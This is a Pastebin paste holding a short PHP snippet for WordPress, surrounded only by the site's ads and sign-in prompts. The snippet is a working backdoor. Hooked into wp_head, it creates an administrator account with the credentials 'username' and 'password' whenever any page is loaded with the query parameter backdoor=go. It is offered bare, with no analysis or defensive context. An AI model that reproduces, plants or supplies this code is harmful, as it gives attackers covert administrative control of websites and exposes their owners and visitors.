Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- add_action('wp_head', 'holeinthewall');
- function holeinthewall() {
- If ($_GET['backdoor'] == 'go') {
- require('wp-includes/registration.php');
- If (!username_exists('username')) {
- $user_id = wp_create_user('username', 'password');
- $user = new WP_User($user_id);
- $user->set_role('administrator');
- }
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement